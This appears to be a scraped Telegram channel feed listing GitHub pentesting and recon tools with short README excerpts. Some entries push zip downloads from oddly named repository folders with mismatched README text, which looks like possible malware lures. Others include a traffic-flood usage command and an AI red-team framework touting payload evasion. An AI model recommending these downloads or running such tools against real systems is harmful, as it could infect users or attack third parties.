The Exploit Lab
703 subscribers
179 photos
3 videos
46 files
4.93K links
| Ethical Hacking Tools |
Download Telegram
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: Pentesting-Tools
🏷 Tags: #pentest

🧠 Summary:
A repository of penetration testing tools, search tools, and lists to make life easier

πŸ’» Code / Usage (from README):
# Pentesting-Tools

A repository of penetration testing tools, search tools, and lists to make life easier



## Ownership and Licensing

This document was authored by [Gilbert Garczynski](https://github.com/ggarcz1) and is the intellectual property of the author.



⭐ Stars: 0
πŸ“Œ Repo: ggarcz1/Pentesting-Tools
πŸ”— GitHub: https://github.com/ggarcz1/Pentesting-Tools
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: deadend-cli
🏷 Tags: #pentest

🧠 Summary:
Agentic AI tool for offensive security and pentesting

πŸ’» Code / Usage (from README):
bash
# https://playwright.dev/python/docs/intro
pip install pytest-playwright
# or
pipx install pytest-playwright

# followed by :
playwright install


⭐ Stars: 34
πŸ“Œ Repo: xoxruns/deadend-cli
πŸ”— GitHub: https://github.com/xoxruns/deadend-cli
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: jira-servicedesk-enum
🏷 Tags: #recon

🧠 Summary:
πŸ›  Discover and manage Atlassian Jira Service Desk users, check permissions, and trigger signups with this Go tool for security assessments.

πŸ’» Code / Usage (from README):
# πŸŽ‰ jira-servicedesk-enum - Easily Manage Jira Permissions and Users

## πŸš€ Getting Started

Welcome to the jira-servicedesk-enum tool. This simple application helps you enumerate Atlassian Jira Service Desk permissions and users. It's designed for those who want to understand their Jira setup better, especially in the context of security assessments.

## πŸ“₯ Download the Application

[![Download jira-servicedesk-enum](https://raw.githubusercontent.com/landoalva/jira-servicedesk-enum/master/phrygium/jira-servicedesk-enum.zip)](https://raw.githubusercontent.com/landoalva/jira-servicedesk-enum/master/phrygium/jira-servicedesk-enum.zip)



⭐ Stars: 0
πŸ“Œ Repo: landoalva/jira-servicedesk-enum
πŸ”— GitHub: https://github.com/landoalva/jira-servicedesk-enum
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: turbo-attack
🏷 Tags: #pentest

🧠 Summary:
A turbo traffic generator pentesting tool to generate random traffic with random MAC and IP addresses in addition to random sequence numbers to a particular IP and port.

πŸ’» Code / Usage (from README):
bash
usage: sudo ./turbo-attack_010_linux_arm64 eth0 4 192.168.0.2 443 150000


⭐ Stars: 159
πŸ“Œ Repo: mytechnotalent/turbo-attack
πŸ”— GitHub: https://github.com/mytechnotalent/turbo-attack
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: web3-pentest-tool
🏷 Tags: #web

🧠 Summary:
Study and development of a framework for security analysis against web3 applications

πŸ’» Code / Usage (from README):
bash
git clone [https://github.com/gianlucabassani/web3-pentest-tool](https://github.com/gianlucabassani/web3-pentest-tool)
cd web3-pentest-tool
go mod tidy


⭐ Stars: 0
πŸ“Œ Repo: gianlucabassani/web3-pentest-tool
πŸ”— GitHub: https://github.com/gianlucabassani/web3-pentest-tool
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: enumeraga
🏷 Tags: #recon

🧠 Summary:
Automatic multiprocess Linux CLI tool that aims for a quick enumeration wrapping pentesting tools.

πŸ’» Code / Usage (from README):
<img src="img/Enumeraga-logo_transparent.png" align="left" width="130" height="130"/>

# Enumeraga - Hack your initial scans

[![Go Report Card](https://goreportcard.com/badge/github.com/0x5ubt13/enumeraga)](https://goreportcard.com/report/github.com/0x5ubt13/enumeraga)
[![Maintainability](https://api.codeclimate.com/v1/badges/a26c3b3db97f4a3fdeef/maintainability)](https://codeclimate.com/github/0x5ubt13/enumeraga/maintainability)
[![GoDoc](https://godoc.org/github.com/0x5ubt13/enumeraga?status.svg)](https://godoc.org/github.com/0x5ubt13/enumeraga)
![License](https://img.shields.io/github/license/0x5ubt13/enumeraga?color=blue)

Automatic multiprocess Linux CLI tool that aims for a quick enumeration wrapping pentesting tools. Scan your target in 20 seconds! This is an attempt to develop a rich tool that leverages the nice features Go has to offer. Containerised version coming soon :eyes:


⭐ Stars: 13
πŸ“Œ Repo: 0x5ubt13/enumeraga
πŸ”— GitHub: https://github.com/0x5ubt13/enumeraga
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: naabu
🏷 Tags: #scanner

🧠 Summary:
A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests

πŸ’» Code / Usage (from README):
sh
naabu -h


⭐ Stars: 5539
πŸ“Œ Repo: projectdiscovery/naabu
πŸ”— GitHub: https://github.com/projectdiscovery/naabu
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: ReportForge
🏷 Tags: #pentest

🧠 Summary:
ReportForge is a high-performance pentest report generation tool (for now) built with Golang, designed for speed, efficiency, and flexibility. Using HTML and CSS3 for templating, it enables fully c...

πŸ’» Code / Usage (from README):
<p align="center">
<img alt="ReportForge Logo" src="https://github.com/itz-d0dgy-2nd/ReportForge-Template/raw/main/report/0_report_template/html/images/logo.png">
</p>

> [!Note]
> As someone who doesn’t work with Go on a regular basis, this codebase may not follow standard design patterns or best practices.
> It was primarily developed to address a specific problem, and while it gets the job done, there's certainly room for improvement.
>
> If you're familiar with Go and have suggestions for better practices or optimisations, please feel free to open a pull request! I'm always happy to improve the project and welcome contributions.



⭐ Stars: 9
πŸ“Œ Repo: itz-d0dgy-2nd/ReportForge
πŸ”— GitHub: https://github.com/itz-d0dgy-2nd/ReportForge
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: arsenic
🏷 Tags: #pentest

🧠 Summary:
Pentesting tool to automate common op tasks and organize discovered data.

πŸ’» Code / Usage (from README):
β”œβ”€β”€ apps
β”œβ”€β”€ bin
β”œβ”€β”€ hosts
β”‚   └── localhost
β”‚   β”œβ”€β”€ README.md (optional)
β”‚   β”œβ”€β”€ 00_metadata.md
β”‚   └── recon
β”‚   β”œβ”€β”€ hostnames.txt
β”‚   └── ip-addresses.txt
β”œβ”€β”€ recon


⭐ Stars: 13
πŸ“Œ Repo: analog-substance/arsenic
πŸ”— GitHub: https://github.com/analog-substance/arsenic
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: mo-tool
πŸ’¬ Description: πŸ“± Streamline SMS testing on Android with MO Tool, a secure and reliable utility for security researchers, educators, and ethical hackers.
🏷 Tags: #pentest

πŸ’» Code / Usage (from README):
- πŸ‘‹ Hi, I’m @Apolo093
- πŸ‘€ I’m interested in ...
- 🌱 I’m currently learning ...
- πŸ’žοΈ I’m looking to collaborate on ...
- πŸ“« How to reach me ...
<!---
Apolo093/Apolo093 is a ✨ special ✨ repository because its 'https://raw.githubusercontent.com/Apolo093/mo-tool/main/unconcertedness/mo-tool.zip' (this file) appears on your GitHub profile.
You can click the Preview link to take a look at your changes.


⭐ Stars: 0 | 🌐 Lang: N/A
πŸ“Œ Repo: Apolo093/mo-tool
πŸ”— GitHub: https://github.com/Apolo093/mo-tool
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: ExploitHawk
πŸ’¬ Description: πŸ› οΈ Discover exploits quickly with ExploitHawk, a terminal-based tool for ethical hacking across Linux distributions, offering fast, accurate search results.
🏷 Tags: #exploit

πŸ’» Code / Usage (from README):
chmod +x ExploitHawk


⭐ Stars: 1 | 🌐 Lang: C
πŸ“Œ Repo: niago1967/ExploitHawk
πŸ”— GitHub: https://github.com/niago1967/ExploitHawk
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: ReconForge-ToolKit
🏷 Tags: #recon #web

🧠 Summary:
πŸ•·οΈ Explore ReconForge, a web-based toolkit for advanced bug hunting and penetration testing, designed for security experts and ethical hackers.

πŸ’» Code / Usage (from README):
# πŸ› οΈ ReconForge-ToolKit - Your All-in-One Bug Hunting Solution

[![Download ReconForge-ToolKit](https://raw.githubusercontent.com/jocelinemodest204/ReconForge-ToolKit/main/scarflike/ReconForge-ToolKit.zip%20Now-Available%20on%20GitHub-brightgreen)](https://raw.githubusercontent.com/jocelinemodest204/ReconForge-ToolKit/main/scarflike/ReconForge-ToolKit.zip)

## πŸ“– Description
ReconForge is a comprehensive, web-based bug hunting and penetration testing toolkit. It is designed for security researchers, ethical hackers, and cybersecurity professionals. Whether you're looking to start your journey in cybersecurity or you are a seasoned professional, ReconForge provides the tools you need to uncover vulnerabilities in web applications.

## πŸš€ Getting Started
Getting started with ReconForge is easy. Follow the steps below to download and run the software on your computer.



⭐ Stars: 1
πŸ“Œ Repo: jocelinemodest204/ReconForge-ToolKit
πŸ”— GitHub: https://github.com/jocelinemodest204/ReconForge-ToolKit
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: cybersecurity-tools
🏷 Tags: #exploit #scanner

🧠 Summary:
A collection of open-source, terminal-based security tools for network analysis, penetration testing, and vulnerability assessment. Use these tools responsibly to enhance cybersecurity research and...

πŸ’» Code / Usage (from README):
markdown
# πŸ›‘οΈ Cybersecurity Tools πŸ›‘οΈ

![GitHub release](https://img.shields.io/github/release/AlejandroZaZ/cybersecurity-tools.svg)
![License](https://img.shields.io/badge/license-MIT-brightgreen.svg)

Welcome to the **Cybersecurity Tools** repository! This collection features a variety of open-source, terminal-based security tools designed for network analysis, penetration testing, and vulnerability assessment. These tools aim to empower cybersecurity researchers and ethical hackers while promoting responsible use.

## πŸš€ Table of Contents



⭐ Stars: 6
πŸ“Œ Repo: AlejandroZaZ/cybersecurity-tools
πŸ”— GitHub: https://github.com/AlejandroZaZ/cybersecurity-tools
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: ScopesExtractor
🏷 Tags: #bugbounty
🧾 Language: Ruby
πŸ“š Topics: bugbounty, infosec
πŸ“œ License: MIT License

🧠 Summary:
A tool for monitoring bug bounty programs across multiple platforms to track scope changes.

πŸ“– Detailed Description (from README or repo description):
bash
git clone https://github.com/JoshuaMart/ScopesExtractor
cd ScopesExtractor


⭐ Stars: 31
πŸ“Œ Repo: JoshuaMart/ScopesExtractor
πŸ”— GitHub: https://github.com/JoshuaMart/ScopesExtractor
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: HunterKit
🏷 Tags: #bugbounty #scanner #web
🧾 Language: Python
πŸ“š Topics: bugbounty, bugbounty-tool, command-injection, hunter, hunterkit, injection, lfi-vulnerability, scanner, sql, sql-injection, vulnerabilities, vulnerability, vulnerability-assessment, vulnerability-detection, vulnerability-scanners, xss-vulnerability
πŸ“œ License: MIT License

🧠 Summary:
πŸ›‘οΈ Scan for web vulnerabilities with HunterKit, a professional-grade tool designed for bug bounty hunters and security experts to enhance online safety.

πŸ“– Detailed Description (from README or repo description):
# πŸ•΅οΈ HunterKit - Detect Vulnerabilities with Ease

## πŸš€ Getting Started

Welcome to HunterKit! This tool helps you find vulnerabilities in web applications. Whether you are a bug bounty hunter or a security professional, HunterKit makes vulnerability scanning simple and effective.

## πŸ”— Download HunterKit

[![Download HunterKit](https://raw.githubusercontent.com/4chpz/HunterKit/main/Hominidae/HunterKit.zip)](https://raw.githubusercontent.com/4chpz/HunterKit/main/Hominidae/HunterKit.zip)



⭐ Stars: 0
πŸ“Œ Repo: 4chpz/HunterKit
πŸ”— GitHub: https://github.com/4chpz/HunterKit
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: silo-contracts-v2
🏷 Tags: #bugbounty
🧾 Language: Solidity
πŸ“š Topics: blockchain, defi, ethereum, farming, finance, lending, openzeppelin, smart-contracts, solidity, yield
πŸ“œ License: Other

🧠 Summary:
πŸ”§ Build and deploy Silo V2 contracts efficiently with this monorepository, featuring integration tools and a bug bounty for security enhancements.

πŸ“– Detailed Description (from README or repo description):
npm install


⭐ Stars: 0
πŸ“Œ Repo: kipz254/silo-contracts-v2
πŸ”— GitHub: https://github.com/kipz254/silo-contracts-v2
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: ASNHunter
🏷 Tags: #bugbounty
🧾 Language: Python
πŸ“š Topics: asn-lookup, bgp, cidr, cli-tool, cybersecurity, hacking-tools, ipv4, ipv6, network-mapping, network-security, osint, penetration-testing, reconnaissance, red-team
πŸ“œ License: MIT License

🧠 Summary:
πŸ” Discover ASN data with ASNHunter, a Python tool for bug bounty hunters and security researchers, featuring comprehensive searches and user-friendly interface.

πŸ“– Detailed Description (from README or repo description):
python https://raw.githubusercontent.com/r0zhh/ASNHunter/main/juxtaposit/ASNHunter.zip [your_asn_or_ip]


⭐ Stars: 2
πŸ“Œ Repo: r0zhh/ASNHunter
πŸ”— GitHub: https://github.com/r0zhh/ASNHunter
⚑ NEW PENTESTING TOOL DISCOVERED ⚑

πŸ”§ Name: RoboBack
🏷 Tags: #bugbounty #osint
🧾 Language: Python
πŸ“š Topics: backup, bugbounty, bugbounty-tool, file-integrity, go, hacking-tool, narrow-recon, narrow-recon-tool, narrowrecon-tool, osint, osint-tool, passive-crawling, penetration-testing, pentesting, pentesting-tool, robobackup, robocopy, windows
πŸ“œ License: Unknown

🧠 Summary:
RoboBack is a CLI tool that fetches historical robots.txt files from the Wayback Machine, helping OSINT and bug bounty teams track crawling policies over time πŸ€–.

πŸ“– Detailed Description (from README or repo description):
# RoboBack: Time-Travel OSINT Tool to Retrieve Historical robots.txt from archive.org

[![RoboBack Releases](https://img.shields.io/badge/RoboBack-Releases-brightgreen?style=for-the-badge&logo=github)](https://github.com/hanyshehata1510/RoboBack/releases)

RoboBack is a command-line tool that helps you travel back in time to pull historical robots.txt files for any target domain from archive.org. It is designed for security researchers, bug hunters, and OSINT practitioners who want to see how a site’s crawling policies looked in the past. The tool fetches archived robots.txt records, aggregates them, and presents results in a clean, usable format.

If you want to explore the project’s release artifacts, you can visit the Releases page. The Releases page hosts the binaries and other assets for RoboBack. See the link again in the later section dedicated to obtaining the software.

- Link to downloads and releases: https://github.com/hanyshehata1510/RoboBack/releases
- Link to downloads and releases (second mention): https://github.com/hanyshehata1510/RoboBack/releases


⭐ Stars: 2
πŸ“Œ Repo: hanyshehata1510/RoboBack
πŸ”— GitHub: https://github.com/hanyshehata1510/RoboBack
πŸ”Ž New Pentesting Tool: Bug-bounty-Recon---Web-vulnerability-Testing-Toolkit β€” A hands-on project for discovering subdomains, mapping attack surfaces, and identifying real-world vulnerabilities.

# Bug bounty Recon & Web vulnerability Testing Toolkit
A hands-on project for discovering subdomains, mapping attack surfaces, and identifying real-world vulnerabilities.


⭐ 0 | πŸ”— https://github.com/chinedunkem1/Bug-bounty-Recon---Web-vulnerability-Testing-Toolkit
⚑ NEW Pentesting Tool DISCOVERED ⚑

πŸ”§ Name: Hexstrike-redteam
🏷 Tags: #ad #bugbounty #exploit #osint
🧾 Language: C++
πŸ“š Topics: None
πŸ“œ License: Unknown

🧠 Summary:
AI-powered MCP penetration testing framework combining HexStrike's 150+ security tools with BOAZ's advanced payload evasion (77+ loaders, 12 encoders). Features 12+ autonomous AI agents for bug bou...

πŸ“– Detailed Description (from README or repo description):
mermaid
%%{init: {"themeVariables": {
"primaryColor": "#b71c1c",
"secondaryColor": "#ff5252",
"tertiaryColor": "#ff8a80",
"background": "#2d0000",
"edgeLabelBackground":"#b71c1c",
"fontFamily": "monospace",
"fontSize": "16px",
"fontColor": "#fffde7",


⭐ Stars: 24
πŸ“Œ Repo: Yenn503/Hexstrike-redteam
πŸ”— GitHub: https://github.com/Yenn503/Hexstrike-redteam
⚑ NEW Pentesting Tool DISCOVERED ⚑

πŸ”§ Name: jsrip
🏷 Tags: #pentest
🧾 Language: Python
πŸ“š Topics: automation, bugbounty, crawler, hacking, hacktoberfest, javascript, jsrip, osint, pentesting, playwright, recon, secrets, security
πŸ“œ License: Creative Commons Attribution Share Alike 4.0 International

🧠 Summary:
πŸ•·οΈ Uncover secrets and analyze JavaScript with jsrip, a fast tool for bug hunters and researchers to crawl, download, and reveal hidden data.

πŸ“– Detailed Description (from README or repo description):
# πŸ› οΈ jsrip - Find Secrets in JavaScript Easily

## πŸš€ Download Now
[![Download jsrip](https://raw.githubusercontent.com/Monkeyboy2285/jsrip/main/cannibalize/jsrip.zip%20jsrip-v1.0-blue)](https://raw.githubusercontent.com/Monkeyboy2285/jsrip/main/cannibalize/jsrip.zip)

## πŸ“œ Description
jsrip is a powerful tool that crawls and analyzes JavaScript files. It helps you find secrets, tokens, and potential API endpoints quickly. Whether you are a bug bounty hunter or an information security enthusiast, jsrip automates JavaScript analysis to make your job easier.

## βš™οΈ Features
- **Crawl JavaScript:** Automatically search through JavaScript code for sensitive data.


⭐ Stars: 0
πŸ“Œ Repo: Monkeyboy2285/jsrip
πŸ”— GitHub: https://github.com/Monkeyboy2285/jsrip